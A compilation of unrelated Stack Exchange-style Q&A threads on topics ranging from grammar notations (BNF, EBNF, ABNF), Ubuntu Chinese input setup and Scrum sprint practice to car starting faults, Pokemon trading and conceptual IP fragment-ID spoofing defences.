BNF vs EBNF vs ABNF: which to choose?

Question: I want to come up with a language syntax.  I have read a bit about these three, and can't really see anything that one can do that another can't.  Is there any reason to use one over another?  Or is it just a matter of preference?
Answer: You have to think about EBNF and ABNF as extensions that help you just to be more concise and expressive while developing your grammars.
For example think about an optional non-terminal symbol, in a BNF grammar you would define it by using intermediate symbols like:
A        ::= OPTIONAL OTHER
OPTIONAL ::= opt_part | epsilon

while with EBNF you can do it directly using optional syntax:
A ::= [opt_part] OTHER

Then since there's no way to express precedence in a BNF you have to use always intermediate symbols also for nested choices:
BNF
A ::= B C
B ::= a | b | c

EBNF
A ::= (a | b | c) C

This is true for many syntax issues that are allowed in an EBNF or ABNF grammar, thanks to syntactic sugar but not with a normal BNF. ABNF extends EBNF, allowing you to do more complicated things, like specifying how many occurrence of a symbol can be found together (i.e. 4*DIGIT)
So choosing an ABNF or an EBNF as language of choice for your grammar will make your work easier, since you will be more expressive without filling you grammar with useless symbols that will be generated anyway by your parser generator, but you won't care about them!
Comment: In addition: IETF uses ABNF. ABNF is way more handy than EBNF.
Comment: Relative to 4*DIGIT: the same can be done in EBNF using the same syntax.
Answer: According to Wikipedia, ABNF's double quoted string literals are case-insensitive, and case-sensitive matches must be defined as numeric ASCII values. I consider that a disadvantage.

Literal text is specified through the use of a string enclosed in quotation marks ("). These strings are case-insensitive and the character set used is (US-)ASCII. Therefore the string "abc" will match "abc", "Abc", "aBc", "abC", "ABc", "AbC", "aBC", and "ABC". For a case-sensitive match the explicit characters must be defined: to match "aBc" the definition will be %d97.66.99.

https://en.wikipedia.org/wiki/Augmented_Backus%E2%80%93Naur_Form#Terminal_values
However, RFC 7405 seems to add case-sensitive string literals to ABNF.
https://www.rfc-editor.org/rfc/rfc7405
Answer: The EBNF is the extended/newer version of BNF, so the problem becomes simpler: EBNF vs ABNF. I'm not an expert, but think that it should depend on a language, whose syntax you want to define. Also there are some visualizers for EBNF (http://www.google.co.il/search?sourceid=chrome&ie=UTF-8&q=Ebnf-Visualizer), but didn't see any for ABNF,
Comment: You could use http://instaparse.mojombo.com/. Selecting `abnf` in the *Option* panel on the right bottom corner of the page
Answer: A reasonable choice would suggest to go with EBNF, for the reason it's an ISO standard: ISO/IEC 14977 : 1996(E) [pdf]. As an example, it's used for the OMG's UML Human-Usable Textual Notation.
Answer:
ABNF has been extensively used on defining protocols, such as HTTP, RTSP and email.

Being able to specify exact byte values such as %x41-5A can be useful when defining protocols. --mattmight

EBNF has been used on defining XML, as well as some programming languages such as Python.
Answer: You can achieve what you want by using any of them, but each one is concise and effective in representing your language depending on what are the features that your language consists of.
I have read BNF, EBNF and ABNF from wikipedia and it has described some differences and why EBNF and ABNF came into picture based on BNF

BNF vs EBNF vs ABNF: which to choose?


Is this section also speaking of TC and fMRI?

Question: This section is about cognitive science, does them include also the branch which is called cognitive neuroscience?
Comment: Sorry. I'm confused. Could you clarify how this question relates to meta.cogsci?
Comment: @JeromyAnglim: This section is about cognitive science, does this include also the branch which is called cognitive neuroscience? Can I open question here about that? ps: Please, be patient, there is a big medical reason for which I'm asking this question..
Answer: Neuroscience is on topic.

Cognitive Sciences is a question and answer site for researchers,
  academics, students, and enthusiasts needing expert answers to
  advanced questions in the "cognitive sciences": I.e., cognitive
  science, psychology, neuroscience, and psychiatry.
Comment: So I can ask information on TC, fRMI, EEG, rehabilitation and similar stuff? For example about Neuroplasticity and so on?
Comment: @Revious, yes you can.


Payday 2 anarchist and crew chief

Question: I was wondering if the anarchist and crew chief stacks with each other. It says like 50% of your health is combined into 110% armor bla bla... so does this mean if one of your teammates uses the crew chief skill deck, does this make the anarchist gain more armor? or how does it work? Thanks for the help.
Answer: What the anarchist perk deck does is it takes your HP stat and cuts it in half. Meaning, you have less raw HP.
On the other hand, it takes your armour stat and boosts it by 110 points (as far as I can tell using a suit. It may vary by the armour you use but thats how it worked for me)
Comment: This does not exactly answer if and how other hp buffs like the one from crew chief factor into anarchist.
Answer: Any maximum health boosts you get are factored into how much armor you get from Anarchist, including health boosts from Crew Chief. You can actually get even more massive boosts from Partners in Crime aced since having a converted enemy gives you 30% more health.
Straight from The Long Guide:

Likewise, with the Anarchist perk deck, Partner in Crime aced and a converted enemy, ICTV and a Crew Chief teammate as well as 10 or more hostages, the maximum armor value is (170 + 230*1.2*(0.5+0.1+0.3+0.02*10)) * (1+0.05+0.3) = 639. But the inventory will never tell you because some bonuses are situational.

This is how much you can get out of Partners in Crime aced:

+x armor, where x = (1.2 * health). Typically, this means 230*0.5*1.2 = +138 armor. Health bonuses help a lot, e.g. with Partners in Crime aced, you have 230*0.8*1.2 = +220.8 armor instead.

Payday 2 anarchist and crew chief


Custom NewForm for external content type?

Question: Is it possible to create a custom NewForm for an external content type without using InfoPath?
Answer: I think so (although I never done it on external content type just on 'regular' lists).
You can create new external list (via UI or via Sharepoint Designer). Then you can use Sharepoint Designer to modify your NewForm.aspx (pick your list and click NewForm under Forms tab). Before doing some editing consult Google and look for some examples (mainly 2007 version).
There are also several other ways to edit content type forms directly. Here is one that I use (well it is pretty close): Walkthrough: Create custom SharePoint 2010 list form for deployment in a Visual Studio 2010 project
However, keep in mind I never used this technique on external content types so maybe there are few 'gotchas'
Comment: Thx for your reply Vedran. While you can actually modify the NewForm.aspx you cannot edit the "edit form" in such a way, that you can replace a textbox with a drop-down-list. the actual form is rendered by some component. In 2007 you could just say "make that all customizable" for an edit-form. But this is not possible for external lists as it seems. And due to some restrictions I don't want to deploy custom code (other than what I can do with SPD).


Using the same code behind file for multiple .aspx pages

Question: We are developing a site inside a CMS that pushed files to our production server. If the .apsx pages created share the same code behind file, will this cause a problem?
Answer: Why don't you let both pages inherit from the same class?
public class MyPage : System.Web.UI.Page
{
   // common logic that both pages should have

   protected void Page_Load(object sender, EventArgs e)
   {
   }
}

public partial class PageA : MyPage
{
   // specific logic for page A
}

public partial class PageB : MyPage
{
   // specific logic for page B
}

Answer: Yes. It is technically possible, but it is not a supported way of using ASP.NET and there will likely be gnarly difficulties with it.
You should use User Controls or AppCode instead.
Comment: Or a tiered architecture that delegates common logic used in each webform to an appropriate abstraction.
Answer: I would suggest to avoid such design, so each page should has own code behind file.
Also take a look at the following ASP.NET features whcih can simplify sharing of common layout and behaviour across the web pages:

Master pages (.master), basically multiple pages which has the same layout could use a shared master page which provides the common layout and supporting code behind logic. Moreover - You can switch master pages in runtime and master pages could be nested, so Master Page could be placed inside of an other Master Page, this gives you a much of freedom and flexibility to design your web application layout and separate responsibilities as well.
User Controls (.ascx), it worth to separate concerns and split page by a set of controls, for instance, it could be LoginControl.ascx,, AdControl.ascx, SearhcControl.ascx, so you keep a code of page clean and each control provides specific functionality and own layout.
Inheritance, so basically set of pages have the same base class which inherited from the Page class (I would not suggest use this approach massively, one base page it is enough)
You may use other common development techniques like dependency injection to share code across multiple pages, this depends on particular case and business goals which were considered under the hood.


All 3 Starters in Kalos?

Question: How do you get all 3 in the Pokemon X and Y Games? I have X and I've beaten the game, however I would like to get all 3 starters without using any cheats at all. I picked Fennekin as my starter and I have "Chester" (Chespin) that was given to me by Shauna. I would really appreciate it if someone told me how to get Froakie legitamately.
Answer: You can only get two of the starter Pokemon in one game of X or Y. The one you pick and the one given to you by Shauna.
To get the third, trade with someone.
Answer: You can go to the Global Trade Service (GTS) and request Froakie and see what people are trading for it.
You can also just try your luck with the Wonder Trade - you put up a Pokémon and it will get automatically traded with another random Pokémon.
Answer: Froakie was pretty common on Wonder Trade, before the ORAS release. Now there are a lot of junk wild Pokemon, but you should get one easily anyway.
Answer: You can only obtain two of three starter Pokemon in X and Y without connecting to the Internet. To obtain the third, there are a few different ways to do so:

Trading with a friend, acquaintance, or passerby on PSS. In your message, you can say something like, "LF: Froakie" LF is a common way of saying "looking for"
Depositing a Pokemon on the GTS and requesting a Froakie. To make this easier, change your message to "need for Dex". Many people are nice enough to give Pokemon if you need it for the Dex
Wondertrading. Many people wondertrade their Froakies here. However, this is not guaranteed since people just trade whatever they want.
Friend Safari. If any of your friends have a water friend safari, try looking for one of Froakie's evolutions. You can breed them to obtain a Froakie.
Answer: Or you could try a water friend safari, might take time though (sometimes's it froakie's second evolution)

All 3 Starters in Kalos?


Car won't start with new battery. Only jumping starts it

Question: Over the past little while my car was taking more and more attemptes to start until it finally would not start.  Replaced the battery and cleaned the connections but it still won't start.  The only way i can get it to start is if i jump it then it starts right away. what could it be?
Comment: Welcome to Motor Vehicle Maintenance & Repair!
Comment: What "connections" did you clean? How did you clean them?
Answer: I'd suspect that your battery earth/negative lead has a poor connection to the car bodywork. By correctly connecting a set of jump leads to a working car, your car gains a good attachment to the working car's battery positive, and also its battery negative because (observing correct jump starting procedure) the negative lead on the "dead" car is secured to somewhere other than the battery negative post.
<code>     .--------------------------------<[DEAD CAR ENGINE BRACKET]----.
    (-)                        .------------^                       |
[WORKING CAR BATTERY]     [dead body]###--------(-)                 |
    (+)                   (poor conn)    [DEAD CAR BATTERY]     [DEAD STARTER]
     '-----------------------------------------<(+)-----------------^
</code>
The "dead" starter gets good assist from the working battery via a good connection through the engine mount, to which the jump lead is connected. It supplements the poor connection it has to the "dead" battery via the bad connection
If you assert that you just connected the jump leads between the batteries, I'd say that there's a poor connection between the "dead" car battery connector and the "dead" car battery. Clean the "dead" battery terminals and also clean the inner face of the battery connector that grips the battery terminal. Ensure that the connector hasn't been overtightened in the past and is now ruined, giving a loose grip even though the securing nut is tight
ps; I appreciate that your new battery on the broken car, isn't a discharged battery (hence why I keep putting "dead" in quotes) - it's just an easy way to refer to it, in light of a typical jump leads scenario
Answer: This has happened in my neck of the woods a few times .University 1980s .OK the easy DIY new battery does not nail the starting problem .What the issue was that the starter motor was consuming much more amps than normal .When being jump started the car had 2 batteries helping so the battery volts during cranking was enough to fire the plugs .In one case the Joseph Lucas Starter motor was faulty .In another case a Delco Starter was at fault .In the third case I noted that the freshly recond tight    motor  was hard to turn by hand .A nigh quality battery and time fixed this .
Answer: Agree with both previous answers-it could be either-remove drive belt and. See if it starts-may have a siezed alternator-ideally, check voltage drop between battery + and starter + when cranking-this will let you know if the starter is pulling too many amps


Difference between 'In this respect' and 'In this aspect'

Question:
Is there any difference between the phrase 'In this respect' and
  'In this aspect' in writing?
Answer: The key difference is the metaphor involved. Architect's drawings show different aspects of a building, i.e., the building seen from different positions, or aspects.
Respect, when usually preceded by in, is used to refer to a particular detail or point.
The effect of the two phrases generally adds up to the same thing, i.e., from this point of view. However I would say that the frequency of use of in this respect is greater among native speakers than in this aspect, which I have never used myself. If in doubt as a non-native speaker I would always use in this respect.
Aspect comes into its own in phrases such as let's look at the different aspects of the problem. We cannot say let's look at the different respects of the problem.
Answer: "In this aspect" is a misuse of a combination of "in this respect" and "from this aspect".  "In this aspect" has no meaning and should not be used.
Comment: Welcome to ELL and thank you for answering. However, there are many contexts in which "In this aspect" would be a perfectly normal and acceptable usage. When you answer, you will help the questioner if you provide sources and explain your answer. We are here to **help** the questioners, not to **correct** them.


Cleaning up spilled loctite thread locking compound

Question: I spilled locktite red 271 in my toolbox drawer.  It's dried and is covering the plastic tray as well as some of the tools.  Is there anything that will dissolve it?
Answer: You aren't going to be able to dissolve it with anything which isn't going to ruin the toolbox if it's plastic. That you'll have to scrape out or just leave alone.
As for the tools, if they are metal, you can heat them up to kill the Loctite. That's how you'd get it to release if it was holding a bolt in place, so that's what you're going to have to do to get it off of them. I'd use a heat gun and use just enough to get it off and nothing more. You might be able to knock it off using a wire wheel, but I think you'd have less success with that until it is heated.
Other than that, it's pretty much just elbow grease. Chemicals are not going to cut it without causing other issues, so there you go.
Comment: Where can I buy elbow grease? ;)
Comment: @GdD same place I get it :)
Comment: @GdD - I usually find it at the parts store next to the muffler bearings ... :o)
Answer: Acetone will soften thread locker compounds and can be used to remove it from bolts, nuts, threaded holes, and most tools.
But for a plastic toolbox tray you'll want to check on a small area first.  Some plastics are quickly softened by Acetone while others are quite resistant.


How to refer to a crowd of many different species?

Question: How could I say the equivalent of "A pouring wave of humanity," when there are more than one species in the scene being described?
Answer: Use a general word that includes them all. "A wave of creatures", "a wave of beings", etc. If it's necessary to identify the creatures, be more specific. "A wave of creatures from almost every species of land animal on Earth ..." Or "A wave of beings from every planet in the Orion arm of the galaxy ..." or whatever.
Answer: how about "a horde of people of many different species", or "A dense crowd with members of all six species who lived in the city".
Answer: How important is the sentence is your narrative?  If not very important, then "everyone poured into the streets."  Bad on you if you haven't set up the reader to understand that "everyone" refers to those of all species.  If it is important, and this is perhaps the first time you are showing eqivalence amongst the species, then maybe something longer, like:

It was as if a fire has been set in the center of the city, and
everyone began to flee.  Those in the center fled first, and being
mostly populated by XXXXXXians, they came quietly by the thousands,
their cries unheard by the humans whose hearing did not reach to that
part of the spectrum.
But, the fire grew and first tickled, then
engulfed the other neighborhoods.  Humans of course, but also those
with denser skins, and even the FIREites who struggled constantly with
the cold.
Standing on the outskirts, where the density of buildings
grew sparse and the fire was finally controlled, Biggees, Littlees,
XXXXXXian, humans, and FIREites milled around, finding their friends,
calling for family, and trying not to think about what was lost, or
how life was so quickly changed.

Few words if not important, many words if important.  Don't use too few words that are overloaded with connotations.  Don't say the obvious.  Use the words as an opportunity to push the story forward.
Answer: You'll have to answer some questions.

What species are there?
How many?
What do they look like?

If the species look similar, you can use similar words. It also depends on the species' name. For example, "humanity" comes from "human." If you named a species "Roax" (I just made that up, it's not from a certain place), than you could call it "Roanity," or "Roanix" or something. Try to make them unique.
One you answer these questions and give them each their own form of "humanity," you'll have it. Also, in the sentence "A pouring wave of humanity," you could say something like "A pouring wave of humanity, roanix, and [whatever else]."
Comment: There are at least six races in the example I was bringing but in other writing, this is very useful. Thanks


How do I get Chinese input to work?

Question: How do I configure Ubuntu to input Chinese?
Comment: I'm using Ubuntu 15.10, I use `aptitude` install the package `ubuntu-keyboard-chinese-pinyin` to get the pinyin imput method to be worked.
Answer: My system had a similar problem: I was able to choose "Chinese", but it didn't really input any Chinese. The key step missing was to install a specific Chinese input method/package. E.g.:
sudo apt-get install ibus-pinyin

After installing Pinyin in this example, go to System Settings → Language Support → Chinese (Pinyin).
Now it works as expected.
This thread helped me to figure out this solution. It also suggests another input method:
sudo apt-get install ibus-sunpinyin

P.S.
After either of those commands do not forget to restart the IBus daemon
ibus restart

Comment: Update: on newer Ubuntu (e.g., 18.04 and later), Pinyin could be installed through GUI without touching command lines, following these [steps](https://pinyinjoe.com/linux/ubuntu-18-gnome-chinese-setup.htm).
Comment: ibus-sunpinyin is better than ibus-pinyin, ibus-pinyin can't be used in intellij
Comment: It helped me, however (as I could imagine) Nautilus is triggering errors all the time when Pinyin is selected.
Comment: @SamuelLi , thank you so much! Your link works wonders !
Comment: It helped me every time I reinstalled Ubuntu
Answer:
click dash home, search for "language support"
click "install/remove language" and add Chinese
click dash home, search for "keyboard input method"
under "input method",add Chinese input method
enjoy!

hopefully it helps
Comment: Didn't work for me. (in 16.04) I installed Chinese, and clicked a checkbox that allowed me to see the icon in the menu bar that shows which language is active. There is an item under there that says "Text entry settings."  I added three chinese language items. I activated them all one at a time, but no Chinese is ever produced in any textbox I've tried.
Comment: Ubuntu 16.10 only finds *Text Entry* when searching for *keyboard input method*, and there does not seem to be any way to add "input methods" in that dialog box.
Comment: is this available through apt-get?
Comment: This doesn't work on Ubuntu 20.04. I installed the language under "Language Support." However, in "Region & Language," when I click the + button under "input Sources," the only options listed are english ones.
Comment: This does not work 2023. You can add the Chinese input but it doesn't actually popup pinyin or any other input method. It seems to do nothing.
Answer: setup instructions for chinese character support in (ubuntu 14.04) and (ubuntu 16.04)

Enable Chinese Language Support

a - Click System Settings, Click Language Support
you may be prompted to install support for current languages
b - Ensure that Keyboard input method system: is set to IBus
c - Click Install / Remove Languages..
d - Choose Chinese (simplified) and/or Chinese (traditional)
e - (ubuntu 14.04) - Click Apply Changes
e - (ubuntu 16.04, 18.04, 20.04) - Click Apply

Logout Login<

Install Additional Chinese Input Systems

this step will not work for 16.04 as ibus-m17n can no longer be found through software center
a - Open Ubuntu Software Center
b - Search for and install ibus-m17n

Logout Login<

Select And Enable Your Input Systems

a - Click System Settings, Click Text Entry
b - Click the + button to add new methods
c - Select Chinese (Pinyin), click Add
this allows you to type characters 汉字
the following steps will not work for 16.04 because they depend on ibus-m17n being installed (i'll update another time when i get them installed myself. here's a decent starting point
d - Select Chinese (SunPinyin), click Add
this also allows you to type chinese characters 汉字 (optional alternative)
e - select Chinese (hanyu pinyin (m17n)), click Add
this allows you to type hànyǔ pīnyīn (english characters with tone markers)

Logout Login<

Test It Out

Troubleshooting
If when using Chinese(Pinyin) you have the bug where typing hanyu suggests ha nü sh and other similar, syllabic separation problems, first try this..
Open the terminal, Enter ibus restart
if that doesn't work here are a few other suggestions at Pinyin Joe
Random Tips

Press super key + space to toggle between language inputs.
super key is the windows key
Each language input has its own settings to customize usability.
Ex. On the language bar select Pinyin, click preferences.
Comment: ubuntu 16.04.2 LTS
Comment: This is the best and most complete answer, the only one that actually worked for me.
Comment: @AlfredBaudisch Which version of Ubuntu did you enable it for?
Comment: For anybody reading the comments, Alfred's comment was posted before I made an update to the answer to include 16.04. The first step should get things working well enough for most users but for those wanting to use Hanyu Pinyin (tone marked English characters / hànyǔ pīnyīn) and other alternative Chinese character programs you will need to look elsewhere for answers until I install them myself and update this answer.
Comment: Worked for me on Ubuntu 20.04
Comment: This worked for me on Ubuntu 21.10
Comment: This worked for me on Ubuntu 21.10
Answer: Here I provide a quick way to install Quick Input Method (速成輸入法) in your Ubuntu.

Execute the following command to install the required packages.
sudo apt-get install fcitx fcitx-imlist fcitx-table-quick-classic

Restart your Ubuntu after the command execution.
Launch Language Support. Set Keyboard input system to fcitx.

Launch Region & Language. Add Input Sources: Chinese (QuickClassic).

Now you can see the language menu icon. You can use Shift to switch between the input methods.
Answer: This method is through command line. It relies on installing ibus-libpinyin (which is known as Ibus Intelligent Pinyin) and adding it as input source to gsettings schema. This has been tested multiple times on Ubuntu 14.04 LTS  as well as 15.04
First install ibus-libpinyin
sudo apt-get install ibus-libpinyin

Then, run the following command:
gsettings set org.gnome.desktop.input-sources sources "$(gsettings get org.gnome.desktop.input-sources sources | sed "s/]/, ('ibus', 'libpinyin')]/")"

The command above takes output of gsettings get org.gnome.desktop.input-sources sources, gives it to sed, which removes the last square bracket and appends , ('ibus', 'libpinyin')] to its output. That particular schema has entries in format [(INPUTMETHOD1, LANGUAGE1), (INPUTMETHOD1,LANGUAGE2)], so this is the reason why sed has to be used to insert text in that fassion. Finally we use output of that as input for gsettings set command, through parameter substitution with $( . . . )
Alternatively the two lines can be combined into a simple script:
#!/bin/sh
SCHEMA="org.gnome.desktop.input-sources"
KEY="sources"
sudo apt-get install ibus-libpinyin
gsettings set $SCHEMA $KEY "$(gsettings get $SCHEMA $KEY | sed "s/]/, ('ibus', 'libpinyin')]/")"

Hope that helps other users! Chinese language by itself is great for web-surfing Chinese internet, but one of the most desired app for Chinese users of Linux is QQ, which of course isn't available, however check out my other answer on how to install Android version of QQ in Ubuntu.
Comment: Well QQ has a web edition so android edition is not really necessary.
Comment: @XiangJi at least for me, web qq lacks file transfer and video/voice calling features. Besides, it's laggy and doesn't keep history of my conversations. Hence, I prefer  android version. A bit verbose, but works for me
Comment: This is the only answer that worked, under 2016.04 with gnome desktop.
Comment: Still worked on Ubuntu 21.04
Answer:
click dash home, search for "language support", check if " chinese" exist
? If not step 2. If have, transfer to step 3.
click "install/remove language" and add Chinese
click dash home, search for "keyboard input method"
under "input method",add Chinese input method
Answer: I follow this one (link on my Ubuntu 18.04, which works for me.
Answer: I am following this for my Ubuntu 20.02 and looks like it helps me:
https://www.programmersought.com/article/22294071374/
Hope this helps others.

How do I get Chinese input to work?


Can I swap stories?

Question: There's a story we committed to in the Sprint. After the developer looked into the ticket, it needed feedback from client. A week has passed and still no answer  The developer completed other tickets in the sprint and moved on to pick up a ticket in the backlog. Should we leave the tickets where they are or swap them? We won't be able to complete the new ticket from the backlog before the end of the sprint.
Answer: In Scrum, you do not commit to scope of work. Instead, the Developers commit to the Sprint Goal at the Sprint Planning event. This gives the Developers flexibility in the work that they do to achieve the goal, which allows for adaptability in the course of the Sprint as the team learns more or unexpected things happen.
If the work represented by the story (or, in Scrum terms, the Product Backlog Item) is required to achieve the Sprint Goal, the lack of feedback from the client should have been addressed before a week passing. The Developer should be involving both the Scrum Master (as someone who can help remove impediments) and the Product Owner (as the person accountable for maximizing the value of the work done by the Scrum Team) to understand what is happening and ensure that the most possible value is being delivered.
If the Sprint Goal is in jeopardy because of the work not able to be completed, the Product Owner definitely needs to be involved. As the voice of the stakeholders, the Product Owner can make decisions on the best course of action to take.
If the Sprint Goal is not in jeopardy, then there's nothing preventing the Developer from taking new work from the Product Backlog. However, it wouldn't be my first choice. If the Developer came to me and asked me what they should do, my first recommendation would be to see if there was a way to help with work directly associated with the Sprint Goal. If the Sprint Goal was met or no help was needed, move on to other work in the Sprint Backlog. I'd even suggest working on refinement activities or work to improve the team's way of working before pulling something new from the Product Backlog, especially if it won't get to Done before the end of the Sprint.
Answer: TL;DR
While good user stories are negotiable, and user stories of the same size are theoretically fungible from a capacity planning standpoint, stories selected from the Product Backlog for Sprint Planning should be tied to the Sprint Goal. You may or may not be able to meet the Sprint Goal without this user story; that's something the Scrum Team must collectively discuss.
Analysis and Recommendations
The Scrum Team must answer three key questions to determine the correct answer for your situation:

Is this user story an item from the Product Backlog accepted into Sprint Planning, or just an item that the Developers created on the Sprint Backlog to meet the Sprint Goal?
The Product Backlog belongs to the Product Owner, and describes what should be built. The Sprint Backlog belongs to the Developers, and describes how they will meet the Sprint Goal. The Developers are free to add, swap, or drop stories or other work items from the Sprint Backlog as they see fit, provided it doesn't impact the Sprint Goal.

Is completing this story essential to meeting your current Sprint Goal?
If not, you can swap it, drop it, or use it as fodder for the Sprint Retrospective to determine why you have Product Backlog items in your Sprint that aren't related to your Sprint Goal.

If it's essential to the Sprint Goal, can you negotiate the Sprint Goal or the scope with the Product Owner?
In Scrum, scope is the adjustable constraint. Good user stories are also intrinsically negotiable. If you have a story that's essential to the Sprint Goal, the scope of the Sprint Goal can be negotiated with the Product Owner. Alternatively, if not completing the story would invalidate the Sprint Goal or endanger the Product Goal, the Product Owner can call for an early termination of the Sprint and a return to Sprint Planning.

The goal of a Sprint isn't to complete every user story; the goal of a Sprint is to complete the Sprint Goal! So, that's where you need to focus the team's attention, and the answer to how the story impacts the Sprint Goal (if it actually does) will either constrain or free your options on how to handle this particular user story.
Answer: Rather than looking at what we need to do in this kind of situation, we must focus on what we must not do to come into this position. Let's analyze the problems in your case;

"After the developer looked into the ticket...": Why did the developer look into the ticket in the sprint? All the developers should be looking at all tickets in the backlog before taking them into the sprints.
"...  it needed feedback from client": If a ticket needs feedback from the client, why is it in a sprint? A ticket/issue/task/story must be groomed while it sits on the product backlog. When the team agrees that there are no gaps in the issue and the assignee can complete it without any input, the team takes it into the available sprint.
"... moved on to pick up a ticket in the backlog": This is against the nature of the sprint. Every sprint should have a predefined goal and a set of stories to work on. When one developer adds another story into the sprint, how will the designers, testers, and even the product owner manage their workload? If you are after productivity, I have an article titled "What Happens When Your Sprint Backlog Is Out Of Items?". You can check it out.
"...  or swap them?": By running sprints, you are saying that "We are going to do these in these X weeks". If you take a story out, the stakeholders will ask the team where that story is on your sprint review meeting. The rule is simple; do not take stories into the sprint or take stories out of the sprint.
"We won't be able to complete the new ticket from the backlog before the end of the sprint.": Absolutely. If you could, you would already take it into the current sprint.

So, while these anomalies exist in your sprint, taking what you think the best action is won't change your situation dramatically.
Answer: Lots of great comments here, and I'll risk being yelled at for dumbing it down.  Yes, if you're meeting your sprint goal it shouldn't matter.  And yes, in your situation where you should have had information that you didn't, it probably wasn't best to put it in your sprint.
But, stuff happens.  You want to minimize stuff happening because you want to be able to have a happy team that doesn't feel like they're being thrown in different directions, but can confidently move towards and complete their goals.
In the real world, that's not always the case when boss A suddenly want this thing done tomorrow and doesn't care about your garsh darn scrum methodology. And yes, from time to time you may have to "swap" tickets.  Just avoid it when you can.  It's better, at least, than straight up scope creep, where you just start adding points.
Some software even has metrics for this.  Scrumfast for instance shows both Scope Creep and points swapped.  The idea, of course, to minimize both.

Good luck!

Can I swap stories?


Could one cause IP fragments' Identification Field collision and thus hinder server's work?

Question: Is it possible that collision occurs when malicious user spoofs his IP to imitate legitimate user and sends IP with same src/dest/"Identification Field" values in IP's header thus causing reassembly of corrupted IP datagram?
How to prevent it?
Answer: If an attacker is able to read IP packets because nothing prevents him to do so in the network (e.g. IPsec) then yes, he can send crafted packets with the same ID field than legitimate ones. IP does not protect this value from being read.
The attacker needs to predict what the Identification field will be in the packet if he has not seen a fragment yet or sniff it and sends a packet/fragment fast enough to be taken into account.
There is a race between the packet/fragment sent in the same time by the legitimate user and the one sent by an attacker unless the attacker is in a man-in-the-middle  position and can stop and replace legitimate packets.
How fragments are reassembled are dependant of operating systems, one may prefer the first fragment that has been received with a certain offset, another might prefer the last one (first option is more common in reverse overlap cases, second is more common in forward overlap cases). A very good paper has been published years ago about it.
It is hard to detect and prevent, the same mecanisms than the ones for preventing IP spoofing could be used:

IPsec
Layer 2 protections (802.1x...)
Check for IP origin (filter packets from outside your network claiming to be inside)

But nothing in IP itself can prevent it.
Comment: Could you elaborate more on Layer 2 protection, not very clear for me.
Comment: What you need to do to avoid IP address/ID field spoofing is basically authenticate machines in your network, you can either do that at layer 3 (network) with IPsec or at layer 2 (link) with mecanisms such as 802.1x (it is more an "over ethernet" protocol than a "link layer" one to be fair, that's a language abuse). Once users are authenticated on our network, it will be way more difficult for an attacker to fake IP packets as they probably do not have authentication keys and their packets would be discarded.


Antivirus program installation

Question: I'm using Ubuntu Server 16.04.4 LTS.  I didn't install any antivirus program there. Is that necessary to install any antivirus program there?
Comment: Related: [What antivirus program can I use on Ubuntu?](https://askubuntu.com/questions/801514/what-antivirus-program-can-i-use-on-ubuntu/801563)
Comment: Depends on what sort of server you are running. I run AV on my mail server and on a samba server with windows clients.
Comment: It is a mentality issue: don't use offline mail, use online mail. Don't download files from random sources. Use trusted sources and before you download examine if the source can be trusted. The only  irrecoverable problem you will have is when you start giving out your admin password to random installations. If your admin password is safe you can fix almost any problem on your system that arises from malware.
Answer: There are viruses for most all platforms (the first worm was for DEC VAX) , they are just more common on Windows.  Different platforms are more secure than others, but a virus can typically gain user level security, which is often good enough, on most platforms.  You can actually run Windows without a virus scanner if you keep it patched and are really careful.
Differences from Windows to Linux for viruses: On Linux it is harder for the virus to get root (or system) level access.  But it could probably still access your address book or saved passwords in Firefox (user level access).
Strategy: If you are really careful and know what you are doing you can get away without a scanner.  A good strategy is to have your scanner just scan downloads or if you are bringing a file from another computer on a USB drive or floppy disk (assuming you have one).  If you want you can have it do regular full system scans too.  It is all about how paranoid you are, and how likely you are to get a virus.
For your laptop I would suggest only having the scanner scan downloads and when you are brining files from another computer.  Having it do full system scans can be a battery drain.
A very important element of a virus scanner is having it updated with new signatures, so pick the package that has the best signature updates, and that works best for how you want to use it.

Antivirus program installation


Can intersection of non-context-free languages be context-free?

Question: For two languages over the same alphabet that are not context-free, can their intersection be context-free, Or does at least one of them have to be context-free?
Answer: Let $L$ be an arbitrary language. Then
$$ \{ 0x : x \in L \} \cap \{ 1x : x \in L \} = \emptyset. $$
Answer: The intersection of two CFL may or may not be a CFL. We can show that both possibilities exist. For example if both $L_1$ and $L_2$ are regular then $L_1∩  L_2$ is regular and therefore CF.
For intersection of non-context-free languages be context-free, you can assume that the intersection could be empty.


Anatomically Correct Asari

Question: This is a submission for the Anatomically Correct Series

The Asari are one of the iconic races from the popular Mass Effect games and universe, and while the image above isn't from any official media, it's close enough to what they look like. Besides their biotic abilities, which are fantastic enough to be disregarded here, they are a mono-gender race, reproducing by "melding" with another sentient organic and randomizing their own DNA using the partner as a template. How/why might such a reproductive mechanism evolve, and how might it work?
Comment: I'm voting to close this question because this is a commercial third party intellectual property. WB.SE isn't for satisfying idle curiosity about other people's work.
Comment: I'll just focus on the reproduction bit then.
Comment: This is too broad to answer. Even if you'd asked about an Earth species, asking how evolution of traits occurs is not observed, only guessed at, and requires long answers. With a fictional alien species and no context of the biome they evolved in, we cannot answer.
Answer: Step 1: An asari ancestor species had normal sexual reproduction, the species being hermaphroditic. Reproduction was through meetings of two gametes, but it wasn't through mixing of DNA as happens on Earth; the egg contained all the genetic information available to form a zygote, but in a somewhat disorganized state. The sperm-analogue carried protein catalysts that caused the egg's genetic material to organize, with minor variations in the final genetic code based on slight differences in the protein catalysts. When the zygote matured, it produced slightly altered catalysts due to its slightly altered genetics compared to the "female" parent.
In essence, genetic traits are passed on not by mixing material from both parents, but by passing on how the material from one parent (the "mother") is organized by the other (the "father").
The proto-asari also have organelles that can detect very weak electromagnetic fields, and can produce their own electricity to sense other life forms (as some species of fish can). They use this like other animals use scent to identify potentially compatible and fertile mates, and mutual EM stimulation becomes a part of proto-asari reproduction.
Step 2: Parthenogenesis takes place in some individuals. They no longer need to mate, and can use the protein catalysts they produce to "fertilize" their own eggs. However, as the catalysts are produced using their own genetic information, a fertilized egg's genetics are identical to that of the parent (excepting the odd mutation). Just like some parthenogenetic lizards and fish require simulated sex in order to reproduce, the proto-asari still need the EM stimulation in order to trigger reproduction.
Step 3: Parthenogenetic individuals evolve the ability to epigenetically alter their production of protein catalysts. This alteration gets tied into the proto-asari's EM sense. The proto-asari re-invent sex. They can use the weak electromagnetic field produced by another proto-asari to affect the proteins catalysts when they self-fertilize. Without the need to physically transfer chemicals from one to another, the "male" components of the physiology are eventually lost.
